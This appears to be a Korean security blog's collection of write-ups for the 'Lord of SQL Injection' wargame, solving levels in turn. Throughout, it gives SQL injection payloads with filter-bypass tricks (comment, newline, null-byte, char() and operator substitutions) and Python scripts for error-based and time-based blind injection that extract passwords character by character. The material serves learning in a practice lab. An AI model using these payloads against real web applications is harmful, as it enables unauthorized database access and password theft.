이 문제는 flag를 알아내면 되는 문제이다.

허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.


$new_flag substr(md5(rand(10000000,99999999)."qwer".rand(10000000,99999999)."asdf".rand(10000000,99999999)),8,16);


ㅇㅇ;;


update문을 에러를 띄워서 찾아내면 대는거시다.

그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.


하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.


방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.

sleep(0) 일 경우  select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.

맞으면 sleep(3)이 되어 실행이 대는거시다



import requests

import time


url = "https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -

'''

length = 16

strs = ""


for i in range(1, 50):

    start = time.time()

    rs = requests.get(url + "?flag=sleep(2*(length(flag)=" + str(i) + "))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


    if((time.time()-start) > 2):

        print("find it length = " + str(i))

        length = i

        break


for i in range(1, length+1):

    print(str(i) + " start !")

    for c in range(48, 127):

        start = time.time()

        rs = requests.post(url + "?flag=sleep(2*(flag%20like%20%27" + strs + chr(c) + "%%27))%20||%20(select%201%20union%20select%202)%20--%20-", headers=headers, cookies=cookies)


        if((time.time()-start) >2):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            strs += chr(c)

            break



print(strs)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22


이 문제는 if문이 막혀있었다.

그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다.



이것을 이용해서 이전 문제와 비슷하게 풀어냈다.


import requests



url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=" + str(i) + "%20union%20select%201)--%20-", headers=headers, cookies=cookies)

    text = rs.text


    if("query" in text):

        print("find it length = " + str(i))

        length = i

        break



# get length


for i in range(1, length+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20ord(substr(pw, " + str(i) + ",1))="+ str(c) +"%20union%20select%201)--%20-", headers=headers, cookies=cookies)

        text = rs.text


        if("query" in text):

            print(str(i) + " find it " + str(c) + " " + chr(c))

            break

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22


이 문제는 애들한테 말로만 듣던 에러 기반 블라인드 인젝션 문제임을 파악할 수 있었다.


그저 쿼터 하나 넣었는데 에러가 뜨길래 파악을 할 수 있었다.


select * from table where 1 and if(1=1,1,(select 1 union select 2))


select * from table where 1 and if(1=2,1,(select 1 union select 2))


첫번째 예제는 if 절이 1=1 로 참이 되면서 단순히 1을 반환한다.


두번째 예제는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행하게 되고,


서브쿼리에서 복수의 값을 반환하면서 에러가 발생하게 된다. (thx to hellsonic)


http://hackerschool.org/Sub_Html/HS_Posting/?uid=43


글을 읽고 풀었다.


너모 감사드린다.


import requests


url = "https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}


'''

?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=16),1,(select%201%20union%20select%202));%20%23%20

error : Subquery returns more than 1 row

'''


length = 0


for i in range(1,100):

    rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((length(pw)=" + str(i) + "),1, (select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

    text = rs.text

    if("Subquery returns more than 1 row" in text):

        pass

    else:

        print("find it length = " + str(i))

        length = i/4

        break


# get length


for i in range(1, i+1):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20%20if((ord(substr(pw,"+ str(i) +",1))="+ str(c) +",1,(select%201%20union%20select%202));%20%23%20", headers=headers, cookies=cookies)

        text = rs.text

        if(not "Subquery returns more than 1 row" in text):

            print(str(i) + " find it " + str(c))

            break


유니코드이기때문에 /4를 해주었다.



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22


이 문제는 우리는 pw를 입력하지만 앞에서 주석처리가 되어있었다;;

뭐 줄넘김 같은게 되지 않을까해서 \n을 넣어보고 했는데 

%0a가 있음을 깨달았다.


?pw=qwer%27%20%0a%20and%20pw=%27%27%20or%20id=%27admin

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27
[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22


이 문제는 정말 좋은 경험을 했다고 생각한다.



40글자라고 해서 좀 놀랐다.
허나 ascii(substr(pw,1,1)) 로 돌려보자 모든 값들이 0으로 나오는 것을 보고 유니코드임을 파악할 수 있었다.
유니코드는 4바이트로서 40/4를 하여 총 10글자임을 알 수 있었다.

유니코드는 ord 함수를 이용하여 뽑아내었따


import requests


url = "https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php"

headers = {'User-Agent': 'Mozilla/5.0'}

cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}



'''

?pw=1234%27%20or%20id=%27admin%27%20%20and%20right(left(pw,1),1)=%27a%27%23

?pw=1234%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,%201,%201))%20=%2010%20%23

'''


for x in range(10):

    for c in range(33, 255):

        rs = requests.get(url + "?pw=1234%27%20or%20id=%27admin%27%20and%20ord(substr(pw,%20" + str(x) + ",%201))%20=%20" + str(c) + "%20%23", headers=headers, cookies=cookies)

        text = rs.text


        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) +  " ascii = " + str(c) + " find it")




'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] iron_golem  (0) 2018.09.27
[LOS1] dragon  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22


이 문제는 mysql 에서 문자열은 0이 된다.


?pw=%27)=0;%00


0=0은 true이기에 조건이 맞아서 출력이 댄다.

SELECT 'a' = 0 — TRUE

SELECT 'abc' = 0 — TRUE


SELECT '1' = 0 — FALSE

SELECT '123' = 0 — FALSE



SELECT 'x1' = 0 — TRUE


SELECT '1x' = 0 — FALSE 

SELECT '1x' = 1 — TRUE


SELECT '12x1' = 0 — FALSE

SELECT '12x1' = 121 — FALSE

SELECT '12x1' = 12 — TRUE 



'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] dragon  (0) 2018.09.22
[LOS1] xavis  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22


이 문제는 싱글쿼터를 못 넣는다...

허나 생각해보니 저 쿼터를 문자열로 인식하게 되면 대는거시다.


그리고 무조건 True로 만들어서 아무 아이디나 뜨게 하면 되는거시다.


?id=\&pw=%20||%201=1%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] xavis  (0) 2018.09.22
[LOS1] nightmare  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22


이 문제는 싱글 쿼터를 사용못하게 막아두었다.

하지만 ereg에 널값을 주게 되면 싱글쿼터를 사용할 수 있다.


?id=%00%27%20%7C%7Cid="admin"%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] nightmare  (0) 2018.09.22
[LOS1] succubus  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22


like에는 % 정규식 비슷한게 있다.


https://www.w3schools.com/sql/sql_like.asp


이 문제는 조금 당황스러운 문제였다.

아무리해도 어드민이 뜨지 않는 것이다.


그래서 혹시 어드민과 게스트의 비밀번호가 비슷한게 아닐까 라는 생각을 하게 되었다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

strs = "8_"

for i in range(8):
    for c in range(48,125):
        rs = requests.get(url + "?pw=" + strs + chr(c) + "%" ,headers=headers, cookies=cookies)

        text = rs.text

        if("<br><h2>Hello admin</h2>" in text):
            strs += chr(c)

            print(str(i+1) + " " +chr(c) + " find it”)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] succubus  (0) 2018.09.22
[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22


이 문제는 좀 신기했다.

실제에서도 이런 일이 생기는걸까?

무슨 의도가 있는지 나는 잘 모르겠다.


그냥 사이에 공백을 만들어줘서 풀었다.


?shit=%0b

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] zombie_assassin  (0) 2018.09.22
[LOS1] assessin  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22


이 문제는 like가 막혀있으므로 in을 이용하여 풀면 된다.


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dlength(pw)%0din%0d(8)


?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw,1),1))%0din%0d(%22a%22)
'''
for i in range(8):
    for c in range(33, 125):
        rs = requests.get(url + "?pw=1&no=-1%0d%7C%7Cid%0din%0d(%22admin%22)%0d%26%26%0dright(left(pw," + str(i+1) + "),1)%0din%0d(%22" + chr(c) + "%22)", headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):
            print(str(i+1) + " " +chr(c) + " find it”) 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] assessin  (0) 2018.09.22
[LOS1] giant  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22


?pw=1&no=1%20%7C%7C%20id%20like%20%22admin%22%20%26%26length(pw)%20like%208


?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20”a”


import requests


headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,1),1)%20like%20a
'''

for x in range(8):
    for c in range(33, 125):
        rs = requests.get(url + '?pw=1&no=1%20||%20id%20like%20%22admin%22%20%26%26right(left(pw,' + str(x+1) + '),1)%20like%20"' + chr(c) +'"' , headers=headers, cookies=cookies)
        text = rs.text

        if("<h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(c) + " find it") 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] giant  (0) 2018.09.22
[LOS1] bugbear  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22


이 문제는 pw 가 실제 pw와 같아야한다.

이 역시 블라인드 인젝션으로 풀었다.


?pw=1234%27%7C%7Cid%20like%20%27admin%27%20%26%26%20length(pw)%20like%208%23


아마 이 문제 자바 수업때 안듣고 풀었던것 같은데 언제 풀었는지 기억이 안난다.

스크립트가 에버노트에 있는거보면 수업시간때 푼것 같다.


import requests

headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}

'''
?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw,1),1)%20like%2013%23
'''
for x in range(8):
    for i in range(33, 125):
        rs = requests.get(url + "?pw=1234%27||id%20like%20%27admin%27%20%26%26%20right(left(pw," + str(x+1) + "),1)%20like%20'" + chr(i) + "' %23", headers=headers, cookies=cookies)
        text = rs.text

        if(“<br><h2>Hello admin</h2>" in text):

            print(str(x+1) + " " + chr(i) + " find it")

이 문제는 = 이 막혀있다.
in 이나 like로 이용하여 우회하면 된다. 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] bugbear  (0) 2018.09.22
[LOS1] darkknight  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22


아이디만 바꾸면 대는 문제였다.


?pw=1234%27%20or%20id=%27admin%27%20%23%20

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkknight  (0) 2018.09.22
[LOS1] golem  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22


사실 이 문제는 아마도 aadmindmin 을 의도한 것 같지만 나는 그냥 대문자로 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] golem  (0) 2018.09.22
[LOS1] skelleton  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22


입력한 값이 admin일 경우 hehe를 띄운다


대문자를 이용하여 풀면 댄다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] skelleton  (0) 2018.09.22
[LOS1] vampire  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22


이것도 실제 pw 와 입력한 pw가 맞아야 풀리는 문제이기에 블라인드 인젝션을 이용하였다.


먼저 길이부터 파악했다.


?pw=1234%27%0d||id=%27admin%27%20%26%26%20length(pw)=8%0d--%20-


스크립트를 랩실에 있고 현재는 집에 있어서 걍 저걸로 올림 ㅎㅎ;


?pw=1234%27%0d||%0did=%27admin%27%0d%26%26%0dascii(substr(pw,1,1))%3E0%0d--%20-


이 또한 스크립트가 랩실에 있다 ㅎ


아무튼 하나하나 뽑아서 풀었다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] vampire  (0) 2018.09.22
[LOS1] troll  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22


이 문제는 전의 문제와 비슷한 방법으로 풀지만 or과 and가 막혀따


하지만 || 으로 대신하여 우회가 가능하다.


?pw=1234%27%20||%20id=%27admin%27%20%20%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] troll  (0) 2018.09.22
[LOS1] orge  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18


이 문제는 아이디를 admin으로 바꾸면 된다.


pw를 아무거나 입력하고 뒤에 id=admin 이 실행되게 하면 되겠다.


?pw=123412312312%27%0dor%0did=%27admin%27%0d%23

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orge  (0) 2018.09.22
[LOS1] darkelf  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18


pw가 실제 pw가 맞는지 체크한다.

블라인드 인젝션 문제였다.


먼저 길이를 파악하기 위해 아래의 코드를 ㅇㅣ용햇다


import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for i in range(20):
rs = requests.get(url + "?pw=1234' || id='admin' and length(pw)="+str(i) + " -- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):

print(str(i) + " find it") 

길이를 확인한 후 씬나게 때려맞췄다.

import requests

url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
headers = {'User-Agent': 'Mozilla/5.0'}
cookies = {'PHPSESSID':'qfr7dlp9t9g1nat81riiigb065'}


for j in range(8):
for i in range(33, 125):
rs = requests.get(url + "?pw=1234' || id='admin' and ascii(substr(pw," + str(j+1) + ", 1))=" + str(i) + "-- -", headers=headers, cookies=cookies)

text = rs.text
if("<br><h2>Hello admin</h2>" in text):
print(str(j) + " " + chr(i) + " find it")
break 


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] darkelf  (0) 2018.09.22
[LOS1] wolfman  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18


id를 어드민으로 만들면 댄다.


and 연산이 먼저니까,,,0 으로 만들고 or로 뒤에 코드를 실행시키면 되시겟다!


?no=1 로 주면 게스트라고 뿌려준다.


없을 것 같은 값을 넣어서 아무 값도 안뿌려주면 없다는거시겠지,,,!


싱글쿼터랑 더블쿼터는 막혀있어서 char로 우회해줬다.


?no=112302130131290123||id=char(97,100,109,105,110)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] wolfman  (0) 2018.09.22
[LOS1] orc  (0) 2018.09.22
[LOS1] cobolt  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25


이번 문제는 id가 admin이여야 풀림


개 멍청하게 연산자 우선 순위 생각 안해서 삽질을 했다.


?id=admin%27%20and%20pw=%271234551231%27%20or%20%271%27=%271%27%20--%20-


연산자 우선 순위 생각을 못하고 저렇게 작성했다...ㅠㅠㅠ

and 먼저 연산되고 그 뒤에 or 이 되는데 ㅠㅠㅠㅠㅠ

왜 or 먼저 된다고 생각했는지 원...


?id=admin%27%20and%20(pw=%271234551231%27%20or%20%271%27=%271%27)%20--%20-





'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] orc  (0) 2018.09.22
[LOS1] goblin  (0) 2018.09.18
[LOS1] gremlin  (62) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25




이 문제는 아이디가 걍 로그인만 되면 풀림


?id=hubeen&pw=1234%27%20or%201=1--%20-



' 로 싱글 쿼터 닫아주고 or 로 1=1 -- - 로 주석처리해서 풀음~

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[LOS1] goblin  (0) 2018.09.18
[LOS1] cobolt  (0) 2018.09.18
[Pwnable.kr] passcode - 10 pt  (0) 2017.01.25
[Pwnable.kr] fsb - 20 pt  (0) 2017.01.25
[Pwnable.kr] input - 4 pt  (0) 2017.01.04

+ Recent posts